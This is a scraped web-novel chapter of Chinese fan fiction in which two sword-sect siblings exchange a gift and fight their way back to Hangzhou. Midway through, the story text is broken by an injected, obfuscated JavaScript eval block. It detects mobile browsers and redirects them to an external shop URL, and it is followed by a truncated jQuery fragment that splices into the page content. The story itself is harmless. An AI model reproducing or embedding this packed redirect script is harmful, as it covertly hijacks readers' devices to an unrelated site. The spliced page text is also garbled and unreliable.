文趣网 > 其他小说 > [燕云十六声]江南无所有 > 21. 第 21 章
    你在饺子里吃出一枚铜钱。

    “哇!就这么一个有铜钱的饺子被我吃到了!”盈盈弯着眼睛,“好大侠,你真的要走运啦!”

    你看着盈盈的笑脸和奶奶慈爱的目光,将手心的铜钱攥得很紧。

    这样寻常的日子真好,当不当大侠好像不那么重要了。也不能这样说,当大侠本就是为了让寻常的日子能长长久久,安稳地落在想好好活着的每一个人身上。

    正月十七,前夜你和小师兄同朋友们好好道了别,终于踏上了回江南的路。

    吴越那位不说正事时便吊儿郎的正使给你们安排了房间,两间紧挨着。

    那一下午他都在和陈慎下棋,你看得出来,他们关系其实还不错。

    你怀里揣着你们拼尽全力保下来的那本书,无论在开封时还是眼下你从不离身,睡觉都要压在枕头底下。

    但此刻你怀里还有一样东西,是你昨天瞒着小师兄一个人偷偷溜出去取的,原想今天一早给他,谁料等到现在都没抓到机会。

    你目光灼灼盯着棋盘。

    那人败局已定,将棋子丢回篓中,打开扇子大笑起来:“不下了,再下你的漂亮师妹要揍我了。”

    你:“……”

    看在他夸你漂亮的份上姑且不与他计较。

    那人摇着扇子不紧不慢道:“我可不是说你醋劲儿大,只是见你目光灼灼,猜你有事要同他说,我这个多余的闲人佯装不知拉着他多下了半个多时辰棋,也该识趣些了。”

    你这才明白他早发觉你在旁边心如猫抓,目送那道身影离去时愤愤然道:“你们杭州人都喜欢揣着明白装糊涂,故意逗别人玩儿吗?”

    陈慎本想反驳:“我何时——”

    话到一半他转念一想,单“大黄”一事就足够师妹记上十年了,且他如今越发理解师父为何喜欢逗师妹玩儿,的确很有意思。

    你叉腰睁大眼睛瞪着他:“心虚了吧?”

    棋子被放回篓中的脆响掩住陈慎喉间溢出的那声笑。

    但你听见了:“又笑话我。”

    陈慎:“我没有。”

    “小师兄,在你那里笑话二字对应的只有我没有这一句话吗?每次我说你笑话我,你就只会偷偷笑一下然后一本正经地说——”你清清嗓子,故意学他道,“我没有。”

    陈慎感觉耳尖又有一点儿烫:“真的没有,只是觉得师妹颇为……”

    你越过桌案倾身过去,几乎挨到他的鼻尖:“颇为什么?”

    “颇为可爱。”

    你的脸唰一下红了。

    明明你平日脸皮是很厚的,和朋友们插科打诨也脸不红心不跳,偏偏在听到他用温和又正经的调子说这么一句时心尖一颤,耳后便跟着热起来。

    陈慎似乎发现了你的不自在,话锋一转温声问:“师妹有何事要与我说?”

    你从怀里摸出仔细揣了好久的长方形匣子,放在桌子中间,眼睛眨巴眨巴。

    有点像吓跑宵小之徒之后摇着尾巴讨赏的小狗。

    陈慎又看笑了,在你期待目光中很配合地问:“此乃何物?”

    “你打开看看呀。”你身后那条尾巴好像摇得更欢了,“看看就知道啦!”

    陈慎:“多谢师妹。”

    “还没看呢就谢我呀?”你捧着脸笑盈盈看他,“小师兄你先看看喜不喜欢!”

    陈慎垂下眼轻笑:“只要是师妹送的,我都喜欢。”

    你脸好像更烫了,慌张地将匣子往他那边推了推,忍不住用雀跃的目光望着他。

    你眼底亮晶晶的期待太过明显,看得陈慎晃了一瞬的神。

    陈慎就在这样灼人的目光中缓缓掀开了木匣。

    里面是一柄折扇。

    你见小师兄怔住,连忙小声同他解释:“你的折扇不是丢了吗?我看你如今那柄不是很趁手……”

    毕竟只是武器铺里随便买了一柄。

    “我本想今天一早给你的,但一直没寻到机会。”你耳尖还泛着红,有一点儿不好意思,“我年前去聆杏村,请青溪弟子帮忙找人做了扇子,是我按照小师兄原先那柄扇子做的!图样是银杏,题诗还是《小雅·白驹》!我看着是和从前那个差不多的,小师兄你再仔细看看!不喜欢的话我们回杭州再做一柄!”

    陈慎展开折扇仔细看了很久。

    当真一模一样,连银杏叶的颜色都分毫不差。

    你还在用藏着丝丝雀跃的声音在他耳边叽叽喳喳:“这几个字是我问了赵大哥,托他的面子请书法大家写的!扇面我只能按记忆中找人画啦,唔,也不知道有没有记错。”

    陈慎轻抚过扇面上随光影流转的笔墨,一时竟忘了回应你。

    尽管遗失在刀光剑影里的旧物说来只是一件身外之物,但总是令人遗憾的。

    陈慎心中虽有怅然,却未提起过半个字,只是不曾想你竟将扇面的模样记得这样清楚,辗转托付如许人情,将手中这柄折扇送到他眼前。

    你七分欢喜三分忐忑的声音还在他耳边雀跃:“有没有哪里画的不对?银杏叶的颜色有没有错?诗文是不是这几句?”

    他很久没有说话,你探过去半边身子,不安地问:“……是哪里不对吗?”

    陈慎合上扇子,看向你时眉眼有藏不住的笑意:“没有错,多谢师妹。”

    你悬着的心瞬间落地,眼睛又亮起来,弯作两道月牙,正要开口说什么,眉心却忽然被轻轻敲了一下。

    “啊——!”其实并不疼,但你捂着脑袋哀怨地看他,“用我送的礼物敲我脑袋?小师兄,你越来越像陈叔了!”

    —

    扬州的初春生机盎然,枝头大片翠意中点缀着星星点点早开的花,风卷着南方特有的温润水雾扑面而来。

    你们在岸边与使团分开,某位爱摇扇子的吴越正使笑眯眯看着你们,以良驹相赠,说报酬便是日后成亲要请他喝杯喜酒。

    陈慎又被这么一句话弄得面红耳赤。

    你扯着缰绳,安抚了因不认得你而焦躁不安的马儿,大大方方笑道:“一定。”

    那人啧啧两声:“瞧你这师兄脸皮薄的,随便打趣两句人就红透了,更让人脸红的话我还没说呢!还是小妹你爽快,日后若有好事,一定记得容我讨杯喜酒喝。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17936278|213723||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    陈慎抿着唇,向他抱了下拳:“多谢。”

    那人便将扇子合上,回以一礼:“万事小心,杭州再见。”

    渡口越来越远,转过身已望不到了,扬州白日的热闹也渐渐退去。

    你们赶路时昼夜不停,要抵达杭州也需两三日光景。到第二日下午,长途奔袭纵是良驹也无法继续支撑,于是傍晚你们用手中良驹和银两换了新马。

    夜深人静,山路两侧的密林里隐约传来窸窸窣窣的动静。

    马儿感受到四周的异动,不安地动了动前蹄。

    “小师兄。”你轻扯了下缰绳,微微偏头冲他笑,“我们又要逃命了。”

    你们默契地一夹马腹,朝杭州的方向去,大地传来轻微的颤动,在你们身后,有火光渐渐亮起。

    到第三天傍晚,你们离杭州已经很近了。

    你们还是和先前一样,尽量不与他们交手,但如今已近杭州,绣金楼便再顾不得许多。

    密密麻麻的箭雨向你们袭来。

    你的长剑立时出鞘,将迎面袭来的利箭挡开,耳畔传来扇骨与箭锋相交的锐响。

    西湖的边际已遥遥在望。

    陈慎抬头望见不远处高耸的塔顶,沉下声道:“师妹——!”

    你顺着他的目光,看到高入夜色的塔尖,立即会意,将长剑向高处送去:“小师兄,这边!”

    陈慎踏着你长剑跃上塔尖,一如当初你借他的折扇去追陈叔那样。

    而后他的折扇展开,在夜色里划出寒芒,飞了一大圈之后安安稳稳回到他手中。

    纵然你已经看过一次了,还是忍不住真心实意发出一声:“哇!”

    什么时候你才能这样甩扇子?飞出二里地还能回来。不过小师兄也没法儿像你刚才那样把剑精准地甩出去,就算扯平了吧。

    随后便是刀剑相接。

    约一炷香功夫过后,你们身侧有风墙拔地而起。

    你:“……”

    方才你觉得小师兄那个已经很夸张了,眼下这个更夸张,可见陈叔上次揍你还是手下留情了。

    熟悉的扇面从你眼前飞过,绣金楼冲在前方的人直直倒下去,后来者一并被逼退许多。

    “陈叔!”你兴奋地回头向他挥手,“你来啦!”

    折扇回到陈子奚手中,他狐狸似的笑着看你们,不紧不慢摇着扇子没出声。

    你将收剑入鞘,双手在唇边作喇叭状:“陈叔!快说你的词!就那天晚上那个!”

    陈子奚:“……?”

    他反应了一会儿,旋即笑起来,一合扇子顺了孩子的意:“医不叩门,虎不踏店——”

    他还未说完,就听自家孩子嚣张冲对面喊:“行走江湖!别犯忌讳!”

    陈慎在你身侧笑起来:“原来那天师妹没走啊?”

    你叉腰,昂着脑袋向远处叫嚣:“这是我家的地盘!你们死定了!”

    你感觉千夜的弯刀似乎晃了一下,她的嘴角好像也跟着抽了抽,溢出一瞬的笑意来。

    不是素日那种妖媚嘲讽的笑,倒更像是——

    被你气笑了。